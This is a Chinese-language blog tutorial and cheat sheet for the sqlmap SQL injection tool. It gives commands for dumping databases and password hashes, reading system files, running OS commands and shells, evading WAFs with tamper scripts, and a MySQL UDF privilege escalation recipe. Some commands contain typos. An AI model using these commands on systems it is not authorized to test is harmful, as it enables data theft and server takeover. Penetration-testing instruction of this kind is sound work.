介绍

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令

下载安装

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/

(1)linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

(2)windows下安装

windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。

(3)kali及PentestBox默认安装sqlmap

参数

-h或-hh:查看sqlmap的参数信息,双h显示全部
-version:查看版本信息

目标

-d 直接连接数据库的连接字符串 sqlmap -d “mysql://root:123456@127.0.0.1:3306/mysql"

-u 检测目标url是否存在注入 sqlmap -u "http://127.0.0.1/sql.php?id=1"

-m 检测文件中的url 例: sqlmap -m "1.txt"

-r:从文件加载HTTP请求进行注入(burp抓取的数据包等) 例: sqlmap - r "1.txt"

-g 自动获取Google搜索的前一百个结果,所处的网络环境要能访问Google才行 例: sqlmap -g "inurl:\".php?id=1\""

-p 指定测试参数,若想只测试GET参数“id”和User-Agent 例: sqlmap -u "http://127.0.0.1?id=1" -p "id,user-agent"

--skip 不测试指定参数,如设置了level为5但不想测试User-Agent和Referer 例: sqlmap -u "http://127.0.0.1?id=1" --level 5 --skip "user-agent,referer"

--dbms 指定数据库类型,支持以下这些数据库管理系统:MySQL,Oracle,PostgreSQL,SQL Server,Access,Firebird,SQLite,Sybase,SAP MaxDB,DB2 例: sqlmap -u "http://127.0.0.1?id=1" --dbms Access

--os 指定操作系统 例: sqlmap -u "http://127.0.0.1?id=1" --os linux

请求

--data  通过POST发送数据参数sqlmap会检测该参数指定数据是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1" --data "id=1"

--proxy 设置代理 例: sqlmap -u "http://127.0.0.1" --proxy "http://127.0.0.1:8080"

--param-del 默认url地址以“&”作为分隔符。我们可以使用“--param-del”来指定分隔符  例: sqlmap -u "http://127.0.0.1" --data "id=1;name=junmo" --param-del=";"

--cookie 部分页面访问需要登入状态cookie默认的分隔符为“;”指定cookie中的分隔符使用参数"–cookie-del"  例: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --cookie "PHPSESSID=kldvor5u6uokm9b2qpa0t4kp41;user=junmo;"

--drop-set-cookie 若HTTP响应头中有"Set-Cookie",Sqlmap会自动设置cookie,并对这些cookie进行检测,不想set cookie添加参数"--drop-set-cookie" sqlmap就会忽略。

--user-agent sqlmap默认的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(sqlmap.org)使用--user-agent参数来修改,当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入  例: sqlmap -u "http://127.0.0.1?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0"

--random-agent 从文件./txt/user-agents.txt中随机地取一个User-Agent作为HTTP User-Agent头值 例: sqlmap -u "http://127.0.0.1?id=1" --random-agent

--referer 指定HTTP头中的Referer值,Sqlmap发送的HTTP请求头部默认无Referer字段level<=3时,会检测Referer是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1?id=1" --referer "http://192.168.0.1/"

--headers 发送时额外添加HTTP请求报文头部字段,若添加多个字段,用"\n"分隔 例: sqlmap -u "http://127.0.0.1?id=1" --headers="X-Forwarded-For: 1.1.1.1\nETag: 123456"

--delay 来指定HTTP请求之间的延迟防止过于频繁而被拦截,单位为秒,类型是浮点数,如"--delay 1.5"表示延迟1.5秒,默认是没有延迟的。例: sqlmap -u "http://127.0.0.1?id=1" --delay 0.5

--timeou 超时时间默认为30秒,指定超时时间,如"--timeout 52.1"表示设置超时时间为52.1秒 例: sqlmap -u "http://127.0.0.1?id=1" --timeou 50

--retries 指定超时后最大重试次数默认为3 例: sqlmap -u "http://127.0.0.1?id=1" --retries 5

--skip-urlencode 默认会对URL进行URL编码,使用该参数关闭URL编码。例: sqlmap -u "http://127.0.0.1?id=1" --skip-urlencode

--threads 设置线程默认为1最大为10 例: sqlmap -u "http://127.0.0.1?id=1" --threads 10

--invalid-bignum 生成无效参数值时强制使用大数, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加"–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。

--invalid-logical 生成无效参数值时强制使用逻辑操作符, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。

--invalid-string 生成无效参数值时强制使用字符串, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。

--no-cast 关闭payload转换 在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了"–no-cast"来告诉Sqlmap不要这样做。

--no-escape 关闭字符串编码 有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码

--prefix payload前添加用户指定的前缀,如宽字节注入 例: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --prefix "%df'"

--suffix  payload后添加用户指定的后缀

--mobile 模拟手机User-Agent

检测

--level 用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测 例: sqlmap -u "http://127.0.0.1?id=1" --level 5

--risk 用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害,风险等级2添加了基于时间的注入测试,等级3添加了OR测试。sqlmap -u "http://127.0.0.1?id=1" --risk 3'

-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:
“0”只显示python错误以及严重的信息;
“1”同时显示基本信息和警告信息(默认);
“2”同时显示debug信息;
“3”同时显示注入的payload;
“4”同时显示HTTP请求;
“5”同时显示HTTP响应头;
“6”同时显示HTTP响应页面;
如果想看到sqlmap发送的测试payload最好的等级就是3。

信息获取

--common-tables 暴力破解表名 有些情况下用“--tables”不能列出数据库中表名来,如:版本小于5.0的MySQL没有information_schema表微软Access的MSysObjects表默认不可读数据库用户权限过低无法读取表名当无法读出表名时可以使用参数“–common-tables”暴力破解表名,
该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。

 --common-columns 暴力破解列名 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。

 --all 列举所有可访问的数据

 -b或--banner 大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。
 
 --current-user 获取当前用户
 
 --current-db 获取当前数据库
 
 --hostname 获取服务器主机名

 --is-dba 检测是否为管理员权限若是管理员则返回True,否则返回False。
 
 --users 获取数据库用户
 
 --password 获取数据库管理系统用户密码Hash值
 
 --privileges 获取当前用户权限
 
 --dbs 获取数据库系统数据库
 
 --tables 获取数据库系统数据表

--columns 获取数据库系统数据列

-D 指定数据库

 -T 指定数据表

 -C 指定数据列
 
 --count 获取数据条数 例: sqlmap -u "http://127.0.0.1?id=1" -D "mysql" -T "user" --count
 
 --dump 下载指定数据 例: sqlmap -u "http://127.0.0.1?id=1" --dump -D "mysql" -T "user"
 
 --dump-all 下载所有数据
 
 --exclude-sysdbs 排除指定数据库 例: sqlmap -u "http://127.0.0.1?id=1" --dump-all --exclude-sysdbs "mysql"
 
 --search 可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。
参数“–search”要和下列参数之一配合使用:
 -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
 -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
 -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索
在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。
默认为包含搜索,即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。
例: sqlmap -u "http://127.0.0.1?id=1" -T "user" --search "user"

 --sql-query 执行sql语句 例: sqlmap -u "http://127.0.0.1?id=1" --sql-query "select version()"
 
 --sql-shell 交互式SQL的shell

小技巧

--technique 指定注入类型 其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。

--time-sec 此参数用与设置基于时间延迟注入中延时时长,默认为5秒。

--union-cols 在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如--union-cols 12-16就会让Sqlmap的列数检测范围变成12到16。

--union-char 默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。
因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”

--union-from 有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)用此参数指定这个表名,如“–union-from=users”

访问文件系统

--file-read 读取文件 例: sqlmap -u "http://127.0.0.1?id=1" --file-read "D:/1.txt"

--file-write --file-dest 上传文件到数据库服务器中 例: sqlmap -u "http://127.0.0.1?id=1" --file-write "本机位置” --file-dest “上传位置”

操作系统控制

--os-cmd 执行系统命令 sqlmap -u "http://127.0.0.1?id=1" --os-cmd "whoami"

 --os-shell 交互式的操作系统的shell

通用选项

-s Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参

-t 记录所有HTTP流量到一个文本文件中,该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。例:sqlmap -u "http://127.0.0.1?id=1" -t http.log
--batch不询问用户输入,使用所有默认配置(Y/N)。

--charset 设置字符编码 如“–charset=GBK

--crawl 从目标URL爬行网站 Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用.例: sqlmap -u "http://127.0.0.1?id=1" --batch --crawl 3
 
--eta  该参数用于显示估计的完成时间

--flush-session 刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。例: sqlmap -u "http://127.0.0.1?id=1" --flush-session

--forms  解析和测试目标URL表单 sqlmap -u "http://127.0.0.1" --forms 

--hex  非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。

--update  更新sqlmap

Tamper

sqlmap版本为1.2.7.20,有57个tamper脚本

| 序号 | 脚本名称 | 注释 |

### 10x2char将每个编码后的字符转换为等价表达
### 2apostrophemask单引号替换为Utf8字符
### 3apostrophenullencode替换双引号为%00%27
### 4appendnullbyte有效代码后添加%00
### 5base64encode使用base64编码
### 6between比较符替换为between
### 7bluecoat空格替换为随机空白字符,等号替换为like
### 8chardoubleencode双url编码
### 9charencode将url编码
### 10charunicodeencode使用unicode编码
### 11charunicodeescape以指定的payload反向编码未编码的字符
### 12commalesslimit改变limit语句的写法
### 13commalessmid改变mid语句的写法
### 14commentbeforeparentheses在括号前加内联注释
### 15concat2concatws替换CONCAT为CONCAT_WS
### 16equaltolike等号替换为like
### 17escapequotes双引号替换为\\
### 18greatest大于号替换为greatest
### 19halfversionedmorekeywords在每个关键字前加注释
### 20htmlencodehtml编码所有非字母和数字的字符
### 21ifnull2casewhenisnull改变ifnull语句的写法
### 22ifnull2ifisnull替换ifnull为if(isnull(A))
### 23informationschemacomment标示符后添加注释
### 24least替换大于号为least
### 25lowercase全部替换为小写值
### 26modsecurityversioned空格替换为查询版本的注释
### 27modsecurityzeroversioned添加完整的查询版本的注释
### 28multiplespaces添加多个空格
### 29nonrecursivereplacement替换预定义的关键字
### 30overlongutf8将所有字符转义为utf8
### 31overlongutf8more以指定的payload转换所有字符
### 32percentage每个字符前添加%
### 33plus2concat将加号替换为concat函数
### 34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
### 35randomcase字符大小写随机替换
### 36randomcomments/**/分割关键字
### 37securesphere添加某字符串
### 38sp_password追加sp_password字符串
### 39space2comment空格替换为/**/
### 40space2dash空格替换为–加随机字符
### 41space2hash空格替换为#加随机字符
### 42space2morecomment空格替换为/_/
### 43space2morehash空格替换为#加随机字符及换行符
### 44space2mssqlblank空格替换为其他空符号
### 45space2mssqlhash空格替换为%23%0A
### 46space2mysqlblank空格替换为其他空白符号
### 47space2mysqldash空格替换为–%0A
### 48space2plus空格替换为加号
### 49space2randomblank空格替换为备选字符集中的随机字符
### 50symboliclogicalAND和OR替换为&&和
### 51unionalltounionunion all select替换为union select
### 52unmagicquotes宽字符绕过GPC
### 53uppercase全部替换为大写值
### 54varnish添加HTTP头
### 55versionedkeywords用注释封装每个非函数的关键字
### 56versionedmorekeywords使用注释绕过
### 57xforwardedfor添加伪造的HTTP头

使用技巧

1. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap -u "http://127.0.0.1/param1/value1*/param2/value2/"

2. 列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap -u "http://127.0.0.1/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

3. 获取表中的数据个数

sqlmap. -u "http://127.0.0.1/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

4.对网站s127.0.0.1进行漏洞爬取

sqlmap -u  "http://127.0.0.1" --batch –crawl=3

5.基于布尔SQL注入预估时间

sqlmap -u  "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

6.使用hex避免字符编码导致数据丢失

sqlmap -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

7.模拟测试手机环境站点

sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile

8.智能判断测试

sqlmap -u “http://www.antian365.com/info.php?id=1“--batch --smart

9.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap -r "burpsuite抓包.txt"

(2)指定表单注入

sqlmap.py -u "http://127.0.0.1" --data "username=a&password=a”

10.sqlmap自动填写表单注入

自动填写表单:

sqlmap -u "http://127.0.0.1" –forms

sqlmap -u "http://127.0.0.1" –forms –dbs

sqlmap -u "http://127.0.0.1" –forms –current-db

sqlmap -u "http://127.0.0.1" –forms -D 数据库名称–tables

sqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 –columns

sqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 -Cusername,password –dump

11.读取linux下文件

sqlmap -u  "http://127.0.0.1" --file /etc/password

12.延时注入

sqlmap -u ""http://127.0.0.1?id=1" --technique -T

13. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:

(1)浏览器打开目标地址http://127.0.0.1

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

sqlmap -r "post.txt" -p tfUPass

14.sqlmap cookies注入

sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″  –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

15.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap.py -d "mysql://root:root@127.0.0.1:3306/test" --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

16.执行shell命令

sqlmap -u "http://127.0.0.1?id=1"  --os-cmd "netuser" /*执行net user命令*/

sqlmap -u "http://127.0.0.1?id=1" --os-shell /*系统交互的shell*/

17.延时注入

sqlmap –dbs -u "http://127.0.0.1?id=1" --delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u "http://127.0.0.1?id=1" --safe-freq /*请求2次*/

18.批量注入

将目标url搜集并整理为txt文件,所有文件都保存为你url.txt,然后使用"sqlmap.py-m tg.txt",注意url.txt跟sqlmap在同一个目录下

19.设置并发线程数

在dump的时候推荐使用此选项,能明显增加dump的速度。

sqlmap -u "http://127.0.0.1?id=1" --dump-all --threads "10"

收集于互联网

最后修改:2023 年 04 月 16 日
觉得文章有用,可以赞赏请我喝瓶冰露